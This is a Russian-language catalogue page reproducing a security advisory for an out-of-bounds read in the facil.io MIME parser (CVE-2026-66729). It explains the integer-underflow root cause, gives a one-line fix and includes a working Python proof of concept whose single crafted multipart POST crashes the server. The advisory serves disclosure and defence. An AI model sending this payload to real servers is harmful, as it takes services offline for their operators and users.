Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-66729-Out-of-Bounds-Read-in-facil.io-MIME-Parser-leads-to-Server-Crash — Security Advisory: Out-of-Bounds Read in facil.io MIME Parser leads to Server crash | Kitploit
Инструменты/GitHubGitHub/theopaid/cve-2026-66729-out-of-bounds-read-in-facil.io-mime-parser-leads-to-server-crash
Vulnerability AnalysisWeb SecurityPapers & ResearchLearning & EducationBinary Exploitation
GitHubtheopaid/cve-2026-66729-out-of-bounds-read-in-facil.io-mime-parser-leads-to-server-crash

CVE-2026-66729-Out-of-Bounds-Read-in-facil.io-MIME-Parser-leads-to-Server-Crash

Security Advisory: Out-of-Bounds Read in facil.io MIME Parser leads to Server crash

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
23 дней назадЕщё не проверено

Раскрытие уязвимости: чтение за пределами буфера в MIME-парсере facil.io приводит к сбою сервера

Присвоенный CVE ID CVE-2026-66729

Продукт: facil.io
Затронутые версии: facil.io >= 0.6.0 (все 0.6.x, все 0.7.x, master); уязвимость появилась при добавлении MIME-парсера в 0.6.0
Компонент: lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-191 (целочисленное переполнение вниз), CWE-125 (чтение за пределами буфера)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Исследователь: Theodosis Paidakis


Краткое описание

Переполнение вниз uint32_t в парсере multipart-тела MIME вызывает чтение за пределами буфера, когда заголовок Content-Disposition содержит пустое имя поля (name=;). Когда name_len равен нулю, name[name_len - 1] заворачивается до name[0xFFFFFFFF], читая примерно 4 ГБ за пределами памяти, на которую указывает name. Это вызывает ошибку доступа к памяти и приводит к аварийному завершению процесса сервера. Достаточно одного неаутентифицированного POST-запроса.


Корневая причина

lib/facil/http/parsers/http_mime_parser.h, строки 235-241

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h:235-241
} else {
    name_len = (size_t)(start - name);   // line 239: = 0 when start == name (e.g. "name=;")
}
if (name[name_len - 1] == '"')           // line 241: (uint32_t)0 - 1 = 0xFFFFFFFF -> OOB read
    --name_len;

name_len объявлен как uint32_t. При входных данных name=; функция memchr находит ; на той же позиции, что и name, поэтому start - name = 0. Вычитание 1 из нулевого uint32_t из-за переполнения вниз даёт 0xFFFFFFFF. Выражение name[0xFFFFFFFF] вычисляет name_ptr + 4294967295, что находится далеко за пределами любой отображённой области памяти.

Проверка на строке 236 (name[name_len - 1] == '\r') в другой ветке имеет ту же схему, но там name_len вычисляется как end - name и на практике не равно нулю.


Доказательство концепции

Запустите сервер, затем выполните:

root@kitploit:~
# poc_mime_oob_read.py
import socket

BOUNDARY = "B"
body = (
    "--B\r\n"
    "Content-Disposition: form-data; name=;\r\n"  # empty name before semicolon
    "\r\n"
    "value\r\n"
    "--B--\r\n"
).encode()

req = (
    f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
    f"Content-Type: multipart/form-data; boundary=B\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body

s = socket.socket()
s.connect(("127.0.0.1", 3000))
s.sendall(req)
print(s.recv(4096))  # no response — server crashed
print('Check the server')

Вывод ASAN (подтверждён):

root@kitploit:~
AddressSanitizer: BUS at http_mime_parser.h:241
x[10] = 0x00000000FFFFFFFF

Воздействие

Один запрос приводит к сбою рабочего процесса. В развёртываниях с несколькими рабочими процессами погибает только тот рабочий процесс, который обрабатывает запрос; мастер перезапускает его. В режиме одного рабочего процесса сервер становится недоступным. Сбой чтения происходит до возврата данных, поэтому раскрытие информации не продемонстрировано.


Исправление

lib/facil/http/parsers/http_mime_parser.h, строка 241

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h:241 — add zero guard
if (name_len > 0 && name[name_len - 1] == '"')
    --name_len;
Скачать инструмент